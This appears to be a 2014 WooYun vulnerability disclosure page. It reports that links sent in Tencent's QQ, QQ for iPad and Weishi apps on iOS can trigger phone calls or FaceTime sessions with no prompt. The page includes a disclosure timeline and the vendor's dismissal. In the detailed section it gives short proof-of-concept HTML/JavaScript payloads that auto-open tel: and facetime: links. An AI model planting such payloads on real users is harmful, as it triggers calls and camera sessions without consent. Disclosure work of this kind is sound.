当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-074171

漏洞标题：腾讯手机QQ最新版、iPad版、微视应用存在未授权拨打任意电话、开启摄像头缺陷

相关厂商：腾讯

漏洞作者： Ano_Tom

提交时间：2014-08-28 10:47

修复时间：2014-11-23 10:48

公开时间：2014-11-23 10:48

漏洞类型：设计错误/逻辑缺陷

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-28： 细节已通知厂商并且等待厂商处理中
2014-08-28： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-10-22： 细节向核心白帽子及相关领域专家公开
2014-11-01： 细节向普通白帽子公开
2014-11-11： 细节向实习白帽子公开
2014-11-23： 细节向公众公开

简要描述：

如题，用户只需在对话框里输入构造好的url，好友点击url后会自动拨打指定电话或开启facetime，而无任何提醒。注：提交TSRC后，官方全部忽略，回复是“经评估，未发现对业务和用户存在安全风险，如果你有疑问，请联系我。”但看到平台之前有腾讯类似案例（http://www.wooyun.org/bugs/wooyun-2010-060406），官方是确认的，所以提交平台来了。

详细说明：

拨打任意电话代码

<html>
<head>
    <title>v</title>
</head>
<body>
    <a id="dial" href="tel:10086">xxx</a>
</body>
<script type="text/javascript">
<!--
window.onload = function()
{
    window.location.href = document.getElementById("dial").href;
};
//-->
</script>
</html>


开启facetime

<a id="target" href="facetime:HackForFreedom@fbi.com">click me</a> 
<script> 
var target = document.getElementById("target"); 
var fakeEvent = document.createEvent("MouseEvents"); 
fakeEvent.initEvent("click", true, false); 
target.dispatchEvent(fakeEvent); 
</script>


将文件放在公网服务器即可，直接在qq对话框里输入url，好友点击后直接拨打电话或开启facetime

漏洞证明：

此处给出公网测试url,http://vesge.com/a.html 开启facetime、http://vesge.com/v1.php 拨打电话
qq版，在对话框里输入url，好友点击后直接触发，如图

IMG_6435.PNG


IMG_6434.PNG


ipad版

1.JPG


2.jpg


微视
评论一个视频，输入url，点击后无任何提醒，直接触发

1.PNG


2.PNG


3.PNG

修复方案：

具体查看苹果开发文档

版权声明：转载请注明来源 Ano_Tom@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-11-23 10:48

厂商回复：

在ios上是无法自动拨号的，需要用户确认，这与洞主提到的那个android版问题不同，其它如 facetime 的相关数据也难以被恶意获取到。因此综合评估，对业务和用户安全暂无安全威胁。

最新状态：

暂无